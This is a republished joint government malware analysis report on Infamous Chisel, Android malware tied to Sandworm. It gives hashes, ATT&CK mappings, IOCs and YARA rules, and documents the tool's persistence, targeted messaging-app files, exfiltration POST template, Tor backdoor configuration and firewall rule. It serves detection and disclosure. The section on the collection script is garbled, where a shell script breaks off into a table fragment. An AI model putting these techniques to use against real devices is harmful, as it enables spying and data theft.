Infamous Chisel Malware Analysis Report | CISA – Cyber Security News Aggregator

Executive Summary

Infamous Chisel is a collection of components targeting Android devices.
This malware is associated with Sandworm activity.
It performs periodic scanning of files and network information for exfiltration.
System and application configuration files are exfiltrated from an infected device.
Infamous Chisel provides network backdoor access via a Tor (The Onion Router) hidden service and Secure Shell (SSH).
Other capabilities include network monitoring, traffic collection, SSH access, network scanning, and SCP file transfer.

Overview

The UK National Cyber Security Centre (NCSC), the U.S. National Security Agency (NSA), U.S. Cybersecurity and Infrastructure Security Agency (CISA), U.S. Federal Bureau of Investigation (FBI), New Zealand’s National Cyber Security Centre (NCSC-NZ), the Canadian Centre for Cyber Security – part of the Canada’s Communications Security Establishment (CSE), and Australian Signals Directorate (ASD) are aware that the actor known as Sandworm has used a new mobile malware in a campaign targeting Android devices used by the Ukrainian military. The malware is referred to here as Infamous Chisel.

Organizations from the United Kingdom, United States, Australia, Canada, and New Zealand have previously linked the Sandworm actor to the Russian GRU’s Main Centre for Special Technologies GTsST.

Download the PDF version of this report: PDF, 672 KB

For a downloadable copy of IOCs, see:

Malware Summary

Infamous Chisel is a collection of components which enable persistent access to an infected Android device over the Tor network, and which periodically collates and exfiltrates victim information from compromised devices. The information exfiltrated is a combination of system device information, commercial application information, and applications specific to the Ukrainian military.

The malware periodically scans the device for information and files of interest, matching a predefined set of file extensions. It also contains functionality to periodically scan the local network collating information about active hosts, open ports, and banners.

Infamous Chisel also provides remote access by configuring and executing Tor with a hidden service which forwards to a modified Dropbear binary providing a SSH connection.

Other capability includes network monitoring and traffic collection, SSH access, network scanning, and SCP file transfer.

Malware details

Metadata

Filename	killer
Description	Infamous Chisel – Process manipulation for netd ELF 32-bit ARM
Size	30160 bytes
MD5	512eb94ee86e8d5b27ec66af98a2a8c4
SHA-1	ad6eb2a7096b0e29cd93b8b1f60052fed7632ab9
SHA-256	5866e1fa5e262ade874c4b869d57870a88e6a8f9d5b9c61bd5d6a323e763e021

Filename	blob
Description	Infamous Chisel – Decompressor and launcher for Tor process ELF 32-bit ARM
Size	2131691 bytes
MD5	2cfa1f3e0467b8664cbf3a6d412916d6
SHA-1	b681a2b64d150a4b16f64455913fbacd97d9b490
SHA-256	2d19e015412ef8f8f7932b1ad18a5992d802b5ac62e59344f3aea2e00e0804ad

Filename	ndbr_armv7l
Description	Infamous Chisel – Multi-call binary with many utilities: dropbear, dropbearkey, ssh, scp, nmap, dbclient, watchdog, rmflag, mkflag ELF 32-bit ARM
Size	328296 bytes
MD5	0905e83411c0418ce0a8d3ae54ad89a6
SHA-1	917db380b22fad02e7f21f11d1b4e8a5ad47c61c
SHA-256	5c5323bd17fd857a0e77be4e637841dad5c4367a72ac0a64cc054f78f530ba37

Filename	ndbr_i686
Description	Infamous Chisel – Multi-call binary with many utilities: dropbear, dropbearkey, ssh, scp, nmap, dbclient, watchdog, rmflag, mkflag ELF 32-bit Intel 80386
Size	450340 bytes
MD5	7e548ef96d76d2f862d6930dcc67ef82
SHA-1	7d11aefc26823712ad8de37489f920fae679b845
SHA-256	3cf2de421c64f57c173400b2c50bbd9e59c58b778eba2eb56482f0c54636dd29

Filename	db
Description	Infamous Chisel – Multi-call binary with many utilities: dropbear, dropbearkey, ssh, scp, nmap, dbclient, watchdog, rmflag, mkflag ELF 32-bit ARM
Size	5593884 bytes
MD5	04d0606d90bba826e8a609b3dc955d4d
SHA-1	ffaeba9a9fb4260b981fb10d79dbb52ba291fc94
SHA-256	338f8b447c95ba1c3d8d730016f0847585a7840c0a71d5054eb51cc612f13853

Filename	db.bz2
Description	Bzip compressed data containing the Infamous Chisel Multi-Call binary (db)
Size	5593884 bytes
MD5	c4b5c8bdf95fe636a6e9ebba0a60c483
SHA-1	cdad1bee2e88581b7fa7af5698293435667d2550
SHA-256	ef466e714d5250e934e681bda6ebdecd314670bb141f12a1b02c9afddbd93428

Filename	td
Description	Standard Tor P2P network application – likely actor compiled ELF 32-bit ARM
Size	5265772 bytes
MD5	1f2c118b29e48cc5a5df46cddd399334
SHA-1	f6368ae2eec8cf46a7e88559f27dbbe4e7c02380
SHA-256	33a2be6638be67ba9117e0ac7bad26b12adbcdf6f8556c4dc2ff3033a8cdf14f

Filename	td.bz2
Description	Bzip compressed data containing the standard Tor P2P network application (td)
Size	1840669 bytes
MD5	452b6c35f44f55604386849f9e671cc0
SHA-1	2df1e320851b26947ab1ea07eaccbd4d3762c68e
SHA-256	001208a304258c23a0b3794abd8a5a21210dfeaf106195f995a6f55d75ef89cd

Filename	tcpdump
Description	Standard Tcpdump utility – likely actor compiled ELF 32-bit ARM
Size	759528 bytes
MD5	4bdf7f719651d9a762d90e9f33f6bb01
SHA-1	500b953d63a0dbdc76dc3f51c32e3acab92f3ddc
SHA-256	140accb18ba9569b43b92da244929bc009c890916dd703794daf83034e349359

MITRE ATT&CK^®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic	ID	Technique	Procedure
Execution	T1569	System Services	Infamous Chisel – netd replaces the legitimate netd.
Persistence	T1398 (Mobile)	Boot or Logon Initialization Scripts	Infamous Chisel – netd replaces the legitimate netd.
Persistence	T1625 (Mobile)	Hijack Execution Flow	Infamous Chisel – netd replaces the legitimate netd and is executed by init inheriting root privileges.
Privilege Escalation	T1626 (Mobile)	Abuse Elevation Control Mechanism:	Infamous Chisel – netd executes shell scripts as the root user of the device.
Defense Evasion	T1629 (Mobile)	Impair Defenses	Infamous Chisel – netd checks that it is executed by init and at the path for the legitimate netd.
Defense Evasion	T1406 (Mobile)	Obfuscated Files or Information	Infamous Chisel – blob decompresses executables from bzip archives.
Credential Access	T1557	Adversary-in-the-Middle	Infamous Chisel – mDNSResponder is deployed alongside this malware and could potentially be used for DNS poisoning.
Credential Access	T1634 (Mobile)	Credentials from Password Stores	Infamous Chisel – netd scrapes multiple files containing credentials and key information.
Credential Access	T1040	Network Sniffing	Infamous Chisel – tcpdump is deployed alongside this malware and has the ability to sniff network interfaces and monitor network traffic.
Discovery	T1420 (Mobile)	File and Directory Discovery	Infamous Chisel – netd enumerates multiple data directories to discover files of interest.
Discovery	T1430 (Mobile)	Location Tracking	Infamous Chisel – netd collects GPS information.
Discovery	T1418 (Mobile)	Software Discovery	Infamous Chisel – netd collects a list of installed packages.
Discovery	T1426 (Mobile)	System Information Discovery	Infamous Chisel – netd collects various system information such as the Android ID and other hardware information.
Discovery	T1422 (Mobile)	System Network Configuration Discovery	Infamous Chisel – netd collects IP interface configuration information.
Discovery	T1421 (Mobile)	System Network Connections Discovery	Infamous Chisel – netd performs IP scanning of the local network to discover other devices.
Collection	T1533 (Mobile)	Data from Local System	Infamous Chisel – netd automatically collects files from the local system based on a predefined list of file extensions.
Collection	T1074.001	Data Staged: Local Data Staging	Infamous Chisel – netd creates multiple temporary files in the system to hold collected information.
Collection	T1114.001	Email Collection: Local Email Collection	Infamous Chisel – netd exfiltrates files from application and data directories containing communication data.
Command and Control	T1473 (Mobile)	Application Layer Protocol:	Infamous Chisel – db provides SCP functionality.
Command and Control	T1521 (Mobile)	Encrypted Channel	Infamous Chisel – td is deployed alongside this malware providing a Tor hidden service relaying connections to SSH program.
Command and Control	T1572	Protocol Tunnelling	Infamous Chisel – td is deployed alongside this malware providing a local Socks connection for db.
Command and Control	T1219	Remote Access Software	Infamous Chisel – db provides a SSH server and client.
Exfiltration	T1020	Automated Exfiltration	Infamous Chisel – netd automatically exfiltrates files at regular intervals.
Exfiltration	T1029	Scheduled Transfer	Infamous Chisel – netd automatically exfiltrates files at regular intervals.
Impact	T1489	Service Stop	Infamous Chisel – netd replaces the legitimate netd.

Functionality

Overview

Infamous Chisel is a collection of multiple components. For netd, killer, blob, and td functionality can be extrapolated from references between them. The function of other binaries changes depending on the command line parameters that are supplied. It is likely that interaction takes place over the SSH remote shell connection configured by netd.

Overview of the Components

Filename	Description
netd	This component is used to perform automated device information collection and exfiltration.
killer	This component kills the malicious netd process.
blob	This component is executed by netd and is responsible for configuring and executing the Tor utility td.
td	This utility is Tor with no obvious modifications.
tcpdump	This utility is tcpdump with no obvious modifications.
ndbr_armv7l ndbr_i686	These utilities are multi-call containing: dropbear, dropbearkey, ssh, scp, nmap, dbclient, watchdog, rmflag, mkflag. dropbear has been modified as described in the section Mutli-call binaries (Dropbear function modifications). ARM and x86 variants.
db	This utility is multi-call containing: dropbear, dropbearkey, ssh, scp, nmap, dbclient, watchdog, rmflag, mkflag. dropbear has been modified as described in the section Mutli-call binaries (Dropbear function modifications).

Persistence

netd is designed to persist on the system by replacing the legitimate netd system binary at the path /system/bin/netd. This replacement is not carried out by the malware, but it can be extrapolated from the checks that it carries out. This is the only Infamous Chisel component which persists.

When the malicious netd is executed, it will check if init is the parent process which executed it. This parent process is responsible for creating the processes listed in the script init.rc. The malicious replacement netd when executed in this way will fork and execute the legitimate process backed up at the path /system/bin/netd_ passing through the command line parameters. This retains the normal functionality of netd, while allowing the malicious netd to execute as root. This replacement would require an escalated privilege level to perform.

If it doesn’t find itself at the /system/bin/netd path, it will fork and set its parent process ID to 1, also attempting to kill the legitimate netd process.

Components

netd

The netd component of Infamous Chisel provides the bulk of the custom functionality which the actor deploys. The main purpose of netd is to collate and exfiltrate information from the compromised device at set intervals. It uses a combination of shell scripts and commands to collect device information. It also searches multiple directories to which files matching a predefined set of extensions are exfiltrated.

Exfiltration Logic

All file exfiltration is performed as detailed in the Communications (File exfiltration) Section of this report. Whenever a file is selected for exfiltration, it is MD5-hashed and cross-referenced with a list of previously sent file hashes held in a file at one of three locations supporting different Android versions. The first existing directory path will be used:

/sdcard/Android/data/.google.index
/storage/emulated/0/Android/data/.google.index
/storage/emulated/1/Android/data/.google.index

The file exfiltration is considered complete when the server sends Success anywhere in its response. As this exfiltration uses a Hypertext Transfer Protocol (HTTP) POST, this server response is also expected to be HTTP, but this is not explicitly checked for.

The 16 raw bytes of the MD5 are appended to the end of the .google.index file, ensuring that the same file isn’t sent multiple times. As the .google.index file contains raw bytes, without prior knowledge, it would appear to contain random data. The initial allocation size is 256 Kb filled with NULLs providing space for up to a maximum of 16,384 file hashes. All hash entries will be checked for every file prior to exfiltration.

When the end of the .google.index file is reached, the position is reset to the start, overwriting the previous hashes. This means if the number of files to exfiltrate from the device exceeds 16,384, files will be sent multiple times.

Information Gathering

On execution, the Infamous Chisel netd component enters a main loop that executes indefinitely where various timers trigger the execution of different tasks. All timer actions are executed immediately on first execution, and then at the specific intervals.

File and Device Information Exfiltration

Every 86,000 seconds (23 hours, 53 minutes, and 20 seconds) the following actions are performed:

1. File exfiltration from data directories

The following directories are recursively searched for files matching the extensions listed. When a file is found by this search, it is exfiltrated as detailed in the Communications (File exfiltration) Section of this report.

File extension list:

.dat, .bak, .xml, .txt, .ovpn, .xml, wa.db, msgstore.db, .pdf, .xlsx, .csv, .zip, telephony.db, .png, .jpg, .jpeg, .kme, database.hik, database.hik-journal, ezvizlog.db, cache4.db, contacts2.db, .ocx, .gz, .rar, .tar, .7zip, .zip, .kmz, locksettings.db, mmssms.db, telephony.db, signal.db, mmssms.db, profile.db, accounts.db, PyroMsg.DB, .exe, .kml

Directory list:

/sdcard
/storage/emulated/0/
/data/media
/data/data/de.blinkt.openvpn
/data/data/org.thoughtcrime.securesms
/data/data/net.openvpn.openvpn
/data/data/org.telegram.messenger
/data/data/vpn.fastvpn.freevpn
/data/data/eu.thedarken.wldonate
/data/data/com.android.providers.contacts
/data/data/com.android.providers.telephony
/data/data/com.google.android.gm
/data/system/users/0/

Along with other military specific application directories.

2. Information collection script

An information collection script collates various hardware configuration information about the device.

The script is written to the location: /data/local/tmp/.android.cache.sh and then executed by netd using the command /system/bin/sh -c /data/local/tmp/.android.cache.sh

.android.cache.sh contains the following shell script:

#!/system/bin/sh system/bin/Components (Multi-call binaries: db, NDBR_armv7l and NDBR_i686)’
dropbearkey	No	No	Generates SSH keys
nmap	Yes	No	Network scanning and mapping utility which appears to be actor developed, as opposed to the open source Nmap project
scp	No	No	File-copying utility
watchdog	Yes	N/A	Creates directories, flag file and sets up the IP Tables rules
rmflag	Yes	N/A	Removes the flag file
mkflag	Yes	N/A	Creates directories

The command line help for dropbear, dropbearkey, nmap and scp can be found in the Appendix Section of this report.

dropbear, present within db, provides secure shell access to the device via the Tor hidden service. IP Tables rules configured allow incoming TCP connections destined for port 34371 through the firewall. The Tor utility executed by blob on the device is configured to provide a hidden service on this port, then forward connections to the local dropbear instance. The .onion address has already been exfiltrated enabling the actor to connect to it. Modifications have been made to dropbear authentication mechanisms.

The scp utility does not appear to have been modified. The nmap utility has the same functionality as the version in netd but is executed manually by actor interaction.

The watchdog, rmflag, and mkflag utilities appear to be additional actor-created code that has been incorporated to perform some configuration for dropbear.

The directory sessions.log.d is created under /data/local/tmp/, and puts all standard Dropbear files under this directory alongside the custom actor file remove_file.flag.

Watchdog

The watchdog utility performs setup and executes dropbear. This setup includes:

File and directory creation

/data/local/tmp/sessions.log.d
/data/local/tmp/sessions.log.d/.ssh
/data/local/tmp/sessions.log.d/.ssh/remove_file.flag

The remove_file.flag file is created containing the string run when any of the multi-call utilities run Dropbear. This will be collected and exfiltrated by netd giving the actor an indicator that the SSH server is active.

Authorized hosts setup

A host key is placed into the directory:

/data/local/tmp/sessions.log.d/.ssh/authorized_keys

IP Tables Rules

/usr/sbin/iptables is executed with the parameters:

-A INPUT -p tcp --dport 34371 -j ACCEPT -I

mkflag

The mkflag utility creates the directories and files that watchdog creates but does not perform any host file or IP table manipulation, and then runs dropbear.

rmflag

The rmflag utility deletes /data/local/tmp/sessions.log.d/.ssh/remove_file.flag

Modified Dropbear functions

The actor has modified authentication mechanisms in Dropbear.

fill_passwd

The Dropbear function fill_passwd is used to verify that a supplied username is a valid account and return information required to process authentication.

The unmodified source code for this can be found in the Appendix (Dropbear fill_passwd function) Section of this report.

This function calls multiple Linux library functions, getpwnam, getspnam, getpwuid, but in the modified version actor replacement functions are called instead, each of these are discussed below.

getpwnam

getpwnam Linux library function accepts a username and cross-references it with the passwd file usually stored at /etc/passwd for the corresponding entry containing the colon concatenated fields:

username
user password
user ID
group ID
user information
home directory
shell program

On most modern systems, an x in the user password field is used to denote that the password hash is stored in the /etc/shadow file that requires root privileges to read. On an Android device, there are typically no such files, so the structure that would usually be retrieved from the passwd file is generated instead.

The actor has replaced this function with their own, where if a particular username is seen it returns a hard-coded response. If the expected username is not seen, the /etc/passwd file is checked for the corresponding username as normal.

getpwuid

getpwuid Linux library accepts a uid and returns the corresponding structure above typically from the /etc/passwd file. The actor has replaced this function to check for the uid of 0xbeef and return the hard-coded structure detailed above, if found. If 0xbeef is not seen, it will revert to checking /etc/passwd.

getspnam

getspnam Linux library function accepts a username and cross-references it with the shadow file usually stored at /etc/shadow for the corresponding entry that contains the dollar concatenated fields:

id
salt
hash

Typically, on an Android device, this function would return NULL, but the actor replacement function uses the Linux version.

There does not appear to be any modifications other than those detailed above, but there may be other patches implemented.

NDBR

The NDBR_armv7l and NDBR_i686 utilities contain multiple individual utilities compiled for ARM and x86 respectively. They both include the above authentication mechanism modification, although with different credentials, and otherwise appear to be the same.

These utilities also have some functionality overlap with the VPNFilter malware but appear to be an evolution.[1]

killer

killer is a simple program, the main purpose of which is to terminate netd.

It achieves this by performing the following steps:

Iterates through all Process Identifiers (PIDs) in the range 2 through to 0x3FFFFF.
Checks the first line of /proc/<pid>/status for the string netd.
Checks the target of the link referenced at /proc/<pid>/exe against netd.
Checks the executable name is not netd_ (The legitimate backup executed by the malicious netd).
Terminates the malicious netd leaving the legitimate netd_ running.

Communications

netd file exfiltration

When a file is to be exfiltrated, a Transport Layer Security (TLS) connection is initiated to a hard-coded local IP and port.

Note: This local IP address is likely a local port forward to relay the network traffic over a secure channel, such as a Virtual Private Network (VPN) configured on the device. VPN services are often configured in this way, giving the actor a means to exfiltrate information from the network which blends in with expected encrypted network traffic.

If a connection to the local IP and port fails, a hard-coded domain is used as a fallback connection. The IP address for this domain is resolved using a request to dns.google.

POST /dns-query HTTP/1.1

Host: dns.google

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

Accept: application/dns-message

Content-Type: application/dns-message

Content-Length:

Note: The hard-coded user agent that relates to a Microsoft Windows operating system would raise suspicion originating from an Android device. But since all the communications are under TLS, it would make inspecting the HTTP headers difficult.

The following HTTP Post request is used to exfiltrate data:

Data structure
POST /server.php?ver=16&bid=%s&type=%d HTTP/1.1 User-Agent: curl/7.47 Host: Path: %s Content-Type: application/octet-stream Content-Length: %d <Raw File>

Data structure

POST /server.php?ver=16&bid=%s&type=%d HTTP/1.1

User-Agent: curl/7.47

Host:

Path: %s

Content-Type: application/octet-stream

Content-Length: %d

<Raw File>

Android ID	Type: 0 or 1	Base64 encoded file path
Content Length of the encoded file to be exfiltrated	File contents

The Android ID is generated by the initial script run, using the command settings get secure android_id.
Type denotes the exfiltration type:
- 0 is used for the file searches, triage script and configurations files.
- 1 is used for other information such as the Tor domain.

Conclusion

The Infamous Chisel components are low to medium sophistication and appear to have been developed with little regard to defense evasion or concealment of malicious activity.

The searching of specific files and directory paths that relate to military applications and exfiltration of this data reinforces the intention to gain access to these networks. Although the components lack basic obfuscation or stealth techniques to disguise activity, the actor may have deemed this not necessary, since many Android devices do not have a host-based detection system.

Two interesting techniques are present in Infamous Chisel:

the replacement of the legitimate netd executable to maintain persistence.
the modification of the authentication function in the components that include dropbear.

These techniques require a good level of C++ knowledge to make the alterations and an awareness of Linux authentication and boot mechanisms.

Even with the lack of concealment functions, these components present a serious threat because of the impact of the information they can collect.

Detection

Indicators of Compromise

Type	Description	Values
netd POST Request	C2 communication	POST /server.php?ver=16&bid=%s&type=%d HTTP/1.1rn User-Agent: curl/7.47rn
netd Paths	Relocated legitimate netd	/system/bin/netd_
netd Paths	IP address information	/data/local/tmp/.syscache.csv
netd Paths	Application list	/data/local/tmp/.syspackages.csv
netd Paths	Getprop output	/data/local/tmp/.sysinfo.csv
netd Paths	Android ID	/data/local/tmp/.aid.cache
netd Paths	Triage shell script	/data/local/tmp/.android.cache.sh
netd Paths	Exfiltrated file hash list location	/sdcard/Android/data/.google.index /storage/emulated/0/Android/data/.google.index /storage/emulated/1/Android/data/.google.index
netd_ Process Listing Name	Renamed legitimate netd	netd_
td Paths	Binary path	/data/local/td
td Paths	Configuration file path	/data/local/prx.cfg
td Paths	Configuration file directory	/data/local/prx
td Paths	Tor generated files	/data/local/prx/cached-certs /data/local/prx/cached-microdesc-consensus /data/local/prx/cached-microdescs /data/local/prx/cached-microdescs.new /data/local/prx/lock /data/local/prx/state
td Paths	Configuration file directory	/data/local/prx/hs
td Paths	Hidden service path	/data/local/prx/hs/hostname
td Paths	Public key	/data/local/prx/hs/hs_ed25519_public_key
td Paths	Private key	/data/local/prx/hs/hs_ed25519_secret_key
td Paths	Compressed installer file	td.bz2
blob Paths	Binary path	/data/local/blob
blob Process Listing Name	Process list entry	blob
killer Paths	Binary path	/data/local/killer
db Paths	Binary path	/data/local/db
db Process Listing Name	Process list entry	db
NDBR_armv7l Paths	Binary path	/data/local/NDBR_armv7l
NDBR_armv7l Process Listing Name	Process list entry	NDBR_armv7l
NDBR_i686 Paths	Binary path	/data/local/NDBR_i686
NDBR_i686 Process Listing Name	Process list entry	NDBR_i686

Indicators of Compromise Suspicious in the Context of an Android Device

Type	Description	Values
td Process Listing Name	Process list entry	td
td Local Port	Port open socks	127.0.0[.]1:1129
td Local Port	Port open hidden service	127.0.0[.]1:34371
tcpdump Paths	Binary path	/data/local/tcpdump
tcpdump Process Listing Name	Process list entry	tcpdump
blob Domain	Domain communication	www.geodatatool[.]com
db IP Tables	IP tables	Port 34371 Present

Rules and Signatures

Description	Unique paths created by netd
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule netd_CreatedFiles { meta: author = “NCSC” description = “Unique file paths created by netd” date = “2023-08-31” strings: $ = “/data/local/tmp/.aid.cache” $ = “/data/local/tmp/.syscache.csv” $ = “/data/local/tmp/.syspackages.csv” $ = “/data/local/tmp/.sysinfo.csv” $ = “/data/local/tmp/.ndata.csv” $ = “/data/local/tmp/.ndata.tmp” $ = “/data/local/tmp/.android.cache.sh” condition: uint32(0) == 0x464C457F and any of them }

Description	Application directories strings searched by netd
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule netd_ScrapedApps { meta: author = “NCSC” description = “Application directories strings searched by netd” date = “2023-08-31” strings: $ = “/data/data/com.android.providers.contacts” $ = “/data/data/com.android.providers.telephony” $ = “/data/data/com.google.android.gm” $ = “/data/data/de.blinkt.openvpn” $ = “/data/data/eu.thedarken.wldonate” $ = “/data/data/net.openvpn.openvpn” $ = “/data/data/org.telegram.messenger” $ = “/data/data/org.thoughtcrime.securesms” condition: uint32(0) == 0x464C457F and all of them }

Description	POST request strings present in netd
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule netd_Uri { meta: author = “NCSC” description = “POST request strings present in netd” date = “2023-08-31” strings: $ = “POST /server.php?ver=16&bid=%s&type=%d” $ = “User-Agent: curl/7.47” condition: uint32(0) == 0x464C457F and all of them }

Description	db and td path strings found in netd
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule netd_Paths { meta: author = “NCSC” description = “db and td path strings found in netd” date = “2023-08-31” strings: $ = “/data/local/db” $ = “/data/local/prx.cfg” $ = “/data/local/td” condition: uint32(0) == 0x464C457F and all of them }

Description	File extension list string found in netd
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule netd_FileExtensionString { meta: author = “NCSC” description = “File extension strings” date = “2023-08-31” strings: $ = “.dat,.bak,.xml,.txt,.ovpn,.xml,wa.db,msgstore.db,.pdf,.xlsx,.csv,.zip,telephony.db,.png,.jpg,.jpeg,.kme,database.hik,database.hik-journal,ezvizlog.db,cache4.db,contacts2.db,.docx,.gz,.rar,.tar,.7zip,.zip,.kmz,locksettings.db,mmssms.db,telephony.db,signal.db,mmssms.db,profile.db,accounts.db,PyroMsg.DB,.exe,.kml” condition: uint32(0) == 0x464C457F and any of them }

Description	blob path string found in netd
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule netd_Blob { meta: author = “NCSC” description = “blob path string found in netd” date = “2023-08-31” strings: $ = “/data/local/tmp/blob” condition: uint32(0) == 0x464C457F and any of them }

Description	Tor hostname path string found in netd
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule netd_TorDomainPath { meta: author = “NCSC” description = “Tor hostname path string found in netd” date = “2023-08-31” strings: $ = “/data/local/prx/hs/hostname” condition: uint32(0) == 0x464C457F and any of them }

Description	Shell script commands found in netd
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule netd_TriageCommands { meta: author = “NCSC” description = “Shell script commands found in netd” date = “2023-08-31” strings: $ = “settings get secure android_id” $ = “pm list packages” $ = “getprop” condition: uint32(0) == 0x464C457F and all of them }

Description	netd wait loop
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule netd_waitloop { meta: author = “NCSC” description = “netd wait loop” date = “2023-08-31” strings: $ = {38 23 F9 18 01 23 5B 42 01 22 18 00 ?? ?? ?? ?? 0F 20} condition: uint32(0) == 0x464C457F and any of them }

Description	netd pid for loop
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule netd_pidloop { meta: author = “NCSC” description = “netd pid for loop” date = “2023-08-31” strings: $ = {1B 68 8A 4A 93 42 ?? ?? ?? ?? C0 46} condition: uint32(0) == 0x464C457F and any of them }

Description	Tor configuration file strings in blob
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule blob_TorCommandLine { meta: author = “NCSC” description = “Tor configuration file strings in blob” date = “2023-08-31” strings: $ = “SocksPort 127.0.0.1:1129” $ = “DataDirectory /data/local/prx/” $ = “/data/local/prx/hs/” $ = “HiddenServicePort 34371 127.0.0.1:34371” condition: uint32(0) == 0x464C457F and 2 of them }

Description	blob wait on event loop
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule blob_waitloop { meta: author = “NCSC” description = “blob wait on event loop” date = “2023-08-31” strings: $ = {0C 23 F9 18 01 23 5B 42 01 22 18 00 ?? ?? ?? ?? 03 1E} condition: uint32(0) == 0x464C457F and any of them }

Description	killer binary strings
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule killer_Strings { meta: author = “NCSC” description = “killer binary strings” date = “2023-08-31” strings: $ = “netd_” $ = “/proc/%d/exe” $ = “/proc/%d/status” condition: uint32(0) == 0x464C457F and uint8(4) == 0x1 and uint16(18) == 0x0028 and all of them }

Description	db Android path strings
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule db_androidpaths { meta: author = “NCSC” description = “db Android path strings” date = “2023-08-31” strings: $ = “/data/local/tmp/sessions.log.d/.ssh/remove_file.flag” $ = “/data/local/tmp/sessions.log.d” $ = “/data/local/tmp/sessions.log.d/.ssh” $ = “/data/local/tmp/sessions.log.d/.ssh/authorized_keys” $ = “/data/local/tmp/sessions.log.d/.ssh/know_host” $ = “/data/local/tmp/sessions.log.d/dropbear_rsa_host_key” $ = “/data/local/tmp/sessions.log.d/dropbear_dss_host_key” $ = “/data/local/tmp/sessions.log.d/dropbear_ecdsa_host_key” $ = “/data/local/tmp/sessions.log.d/session.key” $ = “/data/local/tmp/sessions.log.d/.bash_history” $ = “/data/local/tmp/sessions.log.d/dropbear_ed25519_host_key” $ = “/data/local/tmp/sessions.log.d/” $ = “/data/local/tmp/sessions.log.d” condition: uint32(0) == 0x464C457F and uint8(4) == 0x1 and uint16(18) == 0x0028 and all of them }

Description	ndbr scan strings
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA
	rule ndbr_ScanStrings { meta: author = “NCSC” description = “ndbr scan strings” date = “2023-08-31” strings: $ = “INTERFACE = %s” $ = “SOURCE = %s” $ = “IP begin = %s” $ = “IP end = %s” $ = “PORT = top” $ = “PORT begin = %hu” $ = “PORT end = %hu” $ = “PING %s” $ = “SCAN %s” $ = “******startscan********” $ = “Host %s:” condition: uint32(0) == 0x464C457F and uint8(4) == 0x1 and uint16(18) == 0x0028 and all of them }

Appendix

Dropbear unmodified fill_passwd function

void fill_passwd(const char* username) {

struct passwd *pw = NULL;

if (ses.authstate.pw_name)

m_free(ses.authstate.pw_name);

if (ses.authstate.pw_dir)

m_free(ses.authstate.pw_dir);

if (ses.authstate.pw_shell)

m_free(ses.authstate.pw_shell);

if (ses.authstate.pw_passwd)

m_free(ses.authstate.pw_passwd);

pw = getpwnam(username);

if (!pw) {

return;

}

ses.authstate.pw_uid = pw->pw_uid;

ses.authstate.pw_gid = pw->pw_gid;

ses.authstate.pw_name = m_strdup(pw->pw_name);

ses.authstate.pw_dir = m_strdup(pw->pw_dir);

ses.authstate.pw_shell = m_strdup(pw->pw_shell);

{

char *passwd_crypt = pw->pw_passwd;

#ifdef HAVE_SHADOW_H

/* get the shadow password if possible */

struct spwd *spasswd = getspnam(ses.authstate.pw_name);

if (spasswd && spasswd->sp_pwdp) {

passwd_crypt = spasswd->sp_pwdp;

}

#endif

if (!passwd_crypt) {

/* android supposedly returns NULL */

passwd_crypt = “!!”;

}

ses.authstate.pw_passwd = m_strdup(passwd_crypt);

}

Dropbear unmodified login_init_entry function

/* login_init_entry(struct logininfo *, int, char*, char*, char*)

* – initialise a struct logininfo

* Populates a new struct logininfo, a data structure meant to carry

* the information required to portably record login info.

* Returns: 1

int

login_init_entry(struct logininfo *li, int pid, const char *username,

const char *hostname, const char *line)

{

struct passwd *pw;

memset(li, 0, sizeof(*li));

li->pid = pid;

/* set the line information */

if (line)

line_fullname(li->line, line, sizeof(li->line));

if (username) {

strlcpy(li->username, username, sizeof(li->username));

pw = getpwnam(li->username);

if (pw == NULL)

dropbear_exit(“login_init_entry: Cannot find user “%s””,

li->username);

li->uid = pw->pw_uid;

}

if (hostname)

strlcpy(li->hostname, hostname, sizeof(li->hostname));

return 1;

Dropbear unmodified sessionpty function

/* Set up a session pty which will be used to execute the shell or program.

* The pty is allocated now, and kept for when the shell/program executes.

* Returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */

static int sessionpty(struct ChanSess * chansess) {

unsigned int termlen;

char namebuf[65];

struct passwd * pw = NULL;

TRACE((“enter sessionpty”))

if (!svr_pubkey_allows_pty()) {

TRACE((“leave sessionpty : pty forbidden by public key option”))

return DROPBEAR_FAILURE;

}

chansess->term = buf_getstring(ses.payload, &termlen);

if (termlen > MAX_TERM_LEN) {

/* TODO send disconnect ? */

TRACE((“leave sessionpty: term len too long”))

return DROPBEAR_FAILURE;

}

/* allocate the pty */

if (chansess->master != –1) {

dropbear_exit(“Multiple pty requests”);

}

if (pty_allocate(&chansess->master, &chansess->slave, namebuf, 64) == 0) {

TRACE((“leave sessionpty: failed to allocate pty”))

return DROPBEAR_FAILURE;

}

chansess->tty = m_strdup(namebuf);

if (!chansess->tty) {

dropbear_exit(“Out of memory”); /* TODO disconnect */

}

pw = getpwnam(ses.authstate.pw_name);

if (!pw)

dropbear_exit(“getpwnam failed after succeeding previously”);

pty_setowner(pw, chansess->tty);

/* Set up the rows/col counts */

sessionwinchange(chansess);

/* Read the terminal modes */

get_termmodes(chansess);

TRACE((“leave sessionpty”))

return DROPBEAR_SUCCESS;

}

Nmap command line options

Usage nmap -ip* <ip-addr: 192.168.0.1/ip-range: 192.168.0.0/24> -p* <port: 80/port-range: 25-125/top> -udp <default tcp> -noping <default yes> -o <out_file> -t <timeout> <-n> <-h/–help (print this help)

Dropbear client [dbclient|ssh] command line options

Dropbear SSH client v2020.81 https://matt.ucc.asn.au/dropbear/dropbear.html

Usage: dbclient [options] [user@]host[/port][,[user@]host/port],…] [command]

-p <remoteport>

-l <username>

